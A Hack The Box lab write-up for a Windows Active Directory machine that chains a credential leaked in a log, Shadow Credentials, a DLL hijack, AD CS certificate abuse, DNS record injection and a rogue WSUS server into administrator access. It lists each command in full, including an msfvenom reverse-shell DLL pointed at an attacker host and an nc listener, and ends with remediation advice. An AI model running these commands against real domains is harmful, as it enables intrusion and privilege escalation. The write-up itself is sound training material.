Skip to content

Logging — Log Leak, Shadow Credentials, and Rogue WSUS to SYSTEM

Tools
rustscan, nxc, rusthound-ce, pywhisker, gettgtpkinit.py, getnthash.py, evil-winrm, msfvenom, zip, rubeus, certipy, openssl, dnstool.py, nc
Skill demonstrated
Active Directory attack-path analysis across credentials, PKI, and update infrastructure
Tags
  • windows
  • active-directory
  • ad-cs
  • shadow-credentials
  • dll-hijack
  • wsus
Field Value
Difficulty Hard
Target environment Windows Server Active Directory domain (DNS, IIS, Kerberos, LDAP/LDAPS, SMB, WinRM, WSUS)
Starting position Provided low-privilege domain credentials
Objective Chain a leaked service credential, Shadow Credentials, a DLL hijack, AD CS abuse, and a rogue WSUS server into administrative access on the domain controller
Outcome Managed service account added to local Administrators; privileged WinRM access

Logging is a Hard-rated Hack The Box Windows Active Directory lab that chains a diagnostic log credential leak, Shadow Credentials abuse against a managed service account, a DLL hijack in an update monitor, AD CS certificate abuse, AD-integrated DNS record manipulation, and a rogue WSUS server that executes a trusted binary as SYSTEM. Credential values, hashes, hostnames, addresses, and certificate identifiers are replaced with role-based placeholders; command syntax is preserved. Where no output was captured, the documented result is given instead.

Attack path: Provided domain credential → leaked service credential → year-rotated password → Shadow Credentials → NT hash → DLL hijack → AD CS certificate → AD DNS record → rogue WSUS → local Administrators

  • Target: a Windows Active Directory domain (<DOMAIN>, domain controller <DC_HOSTNAME>) exposing DNS (53), IIS (80), Kerberos (88), LDAP/LDAPS (389/636), SMB (445), WinRM (5985), and WSUS (8530/8531).
  • Starting position: provided low-privilege domain credentials for <LAB_USER>.
  • Objective: move from the provided account to administrative access on the domain controller through the observed weaknesses.
  • Constraints: activity was confined to the Hack The Box lab environment.

Observation: a full TCP scan exposes the domain services, and SMB access with the provided account reveals a readable Logs share.

Terminal window
rustscan -a <TARGET_IP> --ulimit 5000 -- -Pn -sC -sV -oN nmap/<OUT_FILE>

Truncated scan output:

53/tcp DNS
80/tcp IIS
88/tcp Kerberos
389/636 LDAP/LDAPS
445/tcp SMB
5985/tcp WinRM
8530/8531 WSUS

The share is retrieved with the provided account:

Terminal window
nxc smb <DOMAIN> -u '<LAB_USER>' -p '<LAB_USER_PASSWORD>' --shares
nxc smb <DOMAIN> -u '<LAB_USER>' -p '<LAB_USER_PASSWORD>' -M spider_plus -o DOWNLOAD_FLAG=True

Its identity synchronization trace log holds a plaintext bind credential:

BindUser: "<DOMAIN>\<SERVICE_ACCOUNT>"
BindPass: "<SERVICE_PASSWORD_2025>"

The leaked value carries a year suffix; the current-year variant authenticates over Kerberos:

Terminal window
nxc smb <DOMAIN> -u '<SERVICE_ACCOUNT>' -p '<SERVICE_PASSWORD_2026>' -d <DOMAIN> -k
[+] <DOMAIN>\<SERVICE_ACCOUNT>:<SERVICE_PASSWORD_2026>

Significance: the trace log stored a plaintext bind password in a share readable by the low-privileged account, and the predictable year rotation made the stale-looking value current. The account requires Kerberos, so -k is used.

Result: the service credential is recovered and subsequently validated through Kerberos authentication. rusthound-ce collection then maps the account’s domain permissions.

2. Shadow Credentials to the Managed Service Account

Section titled “2. Shadow Credentials to the Managed Service Account”

Observation: collection shows <SERVICE_ACCOUNT> has GenericWrite over the managed service account <MANAGED_SERVICE_ACCOUNT>, which permits Shadow Credentials abuse.

Terminal window
python3 pywhisker.py \
-d <DOMAIN> \
-u '<SERVICE_ACCOUNT>' \
-p '<SERVICE_PASSWORD_2026>' \
--target '<MANAGED_SERVICE_ACCOUNT>' \
--action add -k

The tool writes a key credential and returns a PFX with its password:

[+] Saved PFX (#PKCS12) certificate & key at path: <SHADOW_CREDENTIALS_PFX>
[*] Must be used with password: <PFX_PASSWORD>

The PFX is used with gettgtpkinit.py to obtain a TGT, then getnthash.py recovers the account’s NT hash:

Terminal window
python3 gettgtpkinit.py \
-cert-pfx <SHADOW_CREDENTIALS_PFX> \
-pfx-pass <PFX_PASSWORD> \
'<DOMAIN>/<MANAGED_SERVICE_ACCOUNT>' '<MANAGED_SERVICE_ACCOUNT>.ccache'
export KRB5CCNAME='<MANAGED_SERVICE_ACCOUNT>.ccache'
python3 getnthash.py \
-key <TGT_SESSION_KEY> \
'<DOMAIN>/<MANAGED_SERVICE_ACCOUNT>'
Recovered NT Hash: <MSA_NT_HASH>

Significance: GenericWrite over the managed account lets an attacker-controlled key credential be written to msDS-KeyCredentialLink; PKINIT turns it into a TGT, and the account’s NT hash follows without the password.

Result: <MSA_NT_HASH> is recovered and used to open a WinRM session as <MANAGED_SERVICE_ACCOUNT> (evil-winrm -i <TARGET_IP> -u '<MANAGED_SERVICE_ACCOUNT>' -H <MSA_NT_HASH>).

Observation: inside the managed service account session, the UpdateMonitor scheduled-task log shows the update applier DLL failing to load; the task is documented as running as a different domain user.

Terminal window
type C:\ProgramData\UpdateMonitor\Logs\monitor.log
No updates found locally: C:\ProgramData\UpdateMonitor\Settings_Update.zip
Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll
Failed to load settings_update.dll. Error code: 126

The binary is confirmed 32-bit before a matching payload is built:

Terminal window
$bytes = Get-Content "C:\Program Files\UpdateMonitor\UpdateMonitor.exe" -Encoding Byte -TotalCount 256
$peOffset = [BitConverter]::ToInt32($bytes, 0x3C)
$machine = [BitConverter]::ToUInt16($bytes, $peOffset + 4)
"Machine type: 0x{0:X4}" -f $machine
Machine type: 0x014C (x86 32-bit)

A 32-bit DLL is generated, packaged into the archive the task expects, and placed at the monitored path:

Terminal window
msfvenom -p windows/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=<LISTEN_PORT> -f dll -o settings_update.dll
zip Settings_Update.zip settings_update.dll
Terminal window
iwr -OutFile C:\ProgramData\UpdateMonitor\Settings_Update.zip http://<ATTACKER_IP>:<HTTP_PORT>/Settings_Update.zip
Terminal window
nc -nlvp <LISTEN_PORT>
C:\Windows\system32> whoami
<DOMAIN>\<COMPROMISED_USER>

Significance: the scheduled task extracts an archive into a writable path and loads a DLL by name; supplying a matching-architecture DLL in place of the missing one executes code in the task’s user context.

Result: a shell is obtained as <COMPROMISED_USER>.

4. AD CS Certificate for the Update-Service Hostname

Section titled “4. AD CS Certificate for the Update-Service Hostname”

Observation: <COMPROMISED_USER> can enroll in the UpdateSrv AD CS template, which allows the enrollee to supply a subject name and includes the Server Authentication EKU. A Kerberos ticket for <COMPROMISED_USER>, retrieved from the existing Windows session with Rubeus and converted to a ccache, lets the request authenticate with -k -no-pass.

Terminal window
certipy req -k -no-pass \
-u '<COMPROMISED_USER>@<DOMAIN>' \
-ca '<CERTIFICATE_AUTHORITY>' \
-template 'UpdateSrv' \
-dns '<UPDATE_SERVICE_HOSTNAME>' \
-target <DC_HOSTNAME> \
-dc-ip <TARGET_IP>

The issued certificate and key are extracted into PEM format for the rogue server:

Terminal window
openssl pkcs12 -in <WSUS_PFX> -nokeys -out <WSUS_CRT> -nodes -passin pass:
openssl pkcs12 -in <WSUS_PFX> -nocerts -out <WSUS_KEY> -nodes -passin pass:

Significance: subject-name injection plus the Server Authentication EKU produces a certificate for <UPDATE_SERVICE_HOSTNAME> that a WSUS client accepts as the trusted TLS identity.

Result: a certificate and private key valid for <UPDATE_SERVICE_HOSTNAME> were obtained.

Observation: <MANAGED_SERVICE_ACCOUNT> holds write permission on the AD-integrated zone, so it can create a record for the update-service hostname.

Terminal window
python3 dnstool.py \
-u '<DOMAIN>\<MANAGED_SERVICE_ACCOUNT>' \
-p '<MSA_LM_HASH>:<MSA_NT_HASH>' \
-r <UPDATE_SERVICE_HOSTNAME> \
-a add \
-d <ATTACKER_IP> \
<TARGET_IP>
Terminal window
nslookup <UPDATE_SERVICE_HOSTNAME> <TARGET_IP>
Name: <UPDATE_SERVICE_HOSTNAME>
Address: <ATTACKER_IP>

Significance: an account with create rights on the integrated zone can point a trusted hostname at the operator address; with the certificate, the client’s WSUS trust checks pass.

Result: <UPDATE_SERVICE_HOSTNAME> resolves to <ATTACKER_IP>.

Observation: WSUS clients trust the update-service hostname, and a signed Microsoft binary delivered from a rogue server runs as SYSTEM.

The rogue server serves the signed binary with an argument that adds the managed service account to local administrators:

COMMAND = '/accepteula /s cmd.exe /c "net localgroup administrators <MANAGED_SERVICE_ACCOUNT> /add"'

Windows Update is triggered from the managed service account session:

Terminal window
Stop-Service wuauserv -Force
Remove-Item "C:\Windows\SoftwareDistribution" -Recurse -Force
Start-Service wuauserv
wuauclt /resetauthorization /detectnow
usoclient StartScan
Terminal window
net localgroup administrators
Administrator
Domain Admins
Enterprise Admins
<MANAGED_SERVICE_ACCOUNT>

Significance: the rogue endpoint satisfies the client’s trust, and the signed binary executes the delivered command as SYSTEM, adding the managed service account to local Administrators.

Result: the account is now a local administrator, and its refreshed session yields privileged WinRM access (evil-winrm -i <TARGET_IP> -u '<MANAGED_SERVICE_ACCOUNT>' -H <MSA_NT_HASH>).

Challenge Decision Rationale
The leaked service password was a stale year variant Incremented the year suffix and re-authenticated The pattern was derived from the log’s date context, and the rotated value authenticated over Kerberos
The UpdateMonitor process is 32-bit Built and packaged a matching 32-bit DLL The scheduled workflow requires matching process architecture for the load to succeed
A WSUS endpoint needs a trusted server certificate Enrolled in the UpdateSrv subject-injection template with the Server Authentication EKU Subject injection lets the requested name match the update-service hostname

The evidence establishes a path from the provided domain credential to administrative access on the domain controller: recovered credentials and hashes are shown by tool output, the DLL hijack is proven by an authenticated whoami, and the privilege change is proven by the local-Administrators listing. The demonstrated privilege is local-Administrator membership on the domain controller, exercised through privileged WinRM.

The actions below are recommendations; no remediation was tested in the lab.

  1. Plaintext credentials in diagnostic logs. A synchronization trace log recorded a plaintext bind password in a share readable by the low-privileged account, and its predictable year rotation yielded service-account access. Recommendation: strip secrets from diagnostic logs, remove diagnostic shares from general read access, and alert on credentials appearing in log content.
  2. Weak ACLs on managed service accounts. <SERVICE_ACCOUNT> could write <MANAGED_SERVICE_ACCOUNT>’s msDS-KeyCredentialLink, so Shadow Credentials produced a TGT and the account’s NT hash. Recommendation: audit and tier ACLs on managed service accounts, and detection: alert on unexpected key-credential writes.
  3. AD CS template allowing subject-name injection with Server Authentication EKU. Enrollee-controlled subject names plus the server-auth EKU let a rogue endpoint present a trusted certificate for the update-service hostname. Recommendation: restrict enrollment and manager approval, and remove EKUs a template does not require.
  4. Unrestricted AD-integrated DNS record creation. The managed account could create a record for a trusted hostname, redirecting the update endpoint to an operator address. Detection: alert on new or changed records for update and infrastructure names.
  5. DLL search-order hijack in a scheduled update task. The task loaded settings_update.dll by name from a writable path, so a matching-architecture DLL executed as the task user. Recommendation: load dependencies by fully qualified path from safe search directories and verify the applier binary.
  6. WSUS client trust without endpoint pinning. The client accepted any server presenting a certificate valid for the hostname, so a rogue WSUS server delivered a signed binary that ran as SYSTEM. Recommendation: require mutual TLS or certificate pinning for update endpoints and inventory trusted roots.
Edit page

Last updated: